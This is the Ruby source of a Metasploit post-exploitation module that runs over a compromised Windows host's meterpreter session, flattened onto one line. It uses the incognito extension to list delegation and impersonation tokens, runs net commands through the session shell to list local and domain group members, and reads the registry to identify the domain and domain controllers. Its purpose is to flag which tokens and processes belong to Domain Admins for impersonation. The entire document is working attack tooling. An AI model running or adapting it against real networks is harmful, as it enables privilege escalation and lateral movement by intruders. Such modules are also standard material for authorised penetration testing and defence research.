## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Enumerate Domain Tokens', 'Description' => %q{ This module will enumerate tokens present on a system that are part of the domain the target host is part of, will also enumerate users in the local Administrators, Users and Backup Operator groups to identify Domain members. Processes will be also enumerated and checked if they are running under a Domain account, on all checks the accounts, processes and tokens will be checked if they are part of the Domain Admin group of the domain the machine is a member of. }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Platform' => [ 'win'], 'SessionTypes' => [ 'meterpreter' ] )) end # Run Method for when run command is issued def run print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? domain = get_domain() if not domain.empty? uid = client.sys.config.getuid dom_admins = list_domain_group_mem("Domain Admins") if uid =~ /#{domain}/ user = uid.split("\\")[1] if dom_admins.include?(user) print_good("Current session is running under a Domain Admin Account") end end if not is_dc? list_group_members(domain, dom_admins) end list_tokens(domain, dom_admins) list_processes(domain, dom_admins) end end # List local group members def list_group_mem(group) devisor = "-------------------------------------------------------------------------------\r\n" raw_list = client.shell_command_token("net localgroup #{group}").split(devisor)[1] account_list = raw_list.split("\r\n") account_list.delete("The command completed successfully.") return account_list end # List Members of a domain group def list_domain_group_mem(group) account_list = [] devisor = "-------------------------------------------------------------------------------\r\n" raw_list = client.shell_command_token("net groups \"#{group}\" /domain").split(devisor)[1] raw_list.split(" ").each do |m| account_list << m end account_list.delete("The command completed successfully.") return account_list end # Gets the Domain Name def get_domain() domain = "" begin subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" v_name = "DCName" domain_dc = registry_getvaldata(subkey, v_name) dom_info = domain_dc.split('.') domain = dom_info[1].upcase rescue print_error("This host is not part of a domain.") end return domain end # List Tokens precent on the domain def list_tokens(domain,dom_admins) tbl = Rex::Ui::Text::Table.new( 'Header' => "Impersonation Tokens with Domain Context", 'Indent' => 1, 'Columns' => [ "Token Type", "Account Type", "Name", "Domain Admin" ]) print_status("Checking for Domain group and user tokens") client.core.use("incognito") user_tokens = client.incognito.incognito_list_tokens(0) user_delegation = user_tokens["delegation"].split("\n") user_impersonation = user_tokens["impersonation"].split("\n") group_tokens = client.incognito.incognito_list_tokens(1) group_delegation = group_tokens["delegation"].split("\n") group_impersonation = group_tokens["impersonation"].split("\n") user_delegation.each do |dt| if dt =~ /#{domain}/ user = dt.split("\\")[1] if dom_admins.include?(user) tbl << ["Delegation","User",dt,true] else tbl << ["Delegation","User",dt,false] end end end user_impersonation.each do |dt| if dt =~ /#{domain}/ user = dt.split("\\")[1] if dom_admins.include?(user) tbl << ["Impersonation","User",dt,true] else tbl << ["Impersonation","User",dt,false] end end end group_delegation.each do |dt| if dt =~ /#{domain}/ user = dt.split("\\")[1] if dom_admins.include?(user) tbl << ["Delegation","Group",dt,true] else tbl << ["Delegation","Group",dt,false] end end end group_impersonation.each do |dt| if dt =~ /#{domain}/ user = dt.split("\\")[1] if dom_admins.include?(user) tbl << ["Impersonation","Group",dt,true] else tbl << ["Impersonation","Group",dt,false] end end end results = tbl.to_s print_line("\n" + results + "\n") end def list_group_members(domain,dom_admins) tbl = Rex::Ui::Text::Table.new( 'Header' => "Account in Local Groups with Domain Context", 'Indent' => 1, 'Columns' => [ "Group", "Member", "Domain Admin" ]) print_status("Checking local groups for Domain Accounts and Groups") admins = list_group_mem("Administrators") users = list_group_mem("users") backops = list_group_mem("\"Backup Operators\"") admins.each do |dt| if dt =~ /#{domain}/ user = dt.split("\\")[1] if dom_admins.include?(user) tbl << ["Administrators",dt,true] else tbl << ["Administrators",dt,false] end end end backops.each do |dt| if dt =~ /#{domain}/ user = dt.split("\\")[1] if dom_admins.include?(user) tbl << ["Backup Operators",dt,true] else tbl << ["Backup Operators",dt,false] end end end users.each do |dt| if dt =~ /#{domain}/ user = dt.split("\\")[1] if dom_admins.include?(user) tbl << ["Users",dt,true] else tbl << ["Users",dt,false] end end end results = tbl.to_s print_line("\n" + results + "\n") end def list_processes(domain,dom_admins) tbl = Rex::Ui::Text::Table.new( 'Header' => "Processes under Domain Context", 'Indent' => 1, 'Columns' => [ "Name", "PID", "Arch", "User", "Domain Admin" ]) print_status("Checking for processes running under domain user") client.sys.process.processes.each do |p| if p['user'] =~ /#{domain}/ user = p['user'].split("\\")[1] if dom_admins.include?(user) tbl << [p['name'],p['pid'],p['arch'],p['user'],true] else tbl << [p['name'],p['pid'],p['arch'],p['user'],false] end end end results = tbl.to_s print_line("\n" + results + "\n") end # Function for checking if target is a DC def is_dc? is_dc_srv = false serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" if registry_enumkeys(serviceskey).include?("NTDS") if registry_enumkeys(serviceskey + "\\NTDS").include?("Parameters") print_good("\tThis host is a Domain Controller!") is_dc_srv = true end end return is_dc_srv end end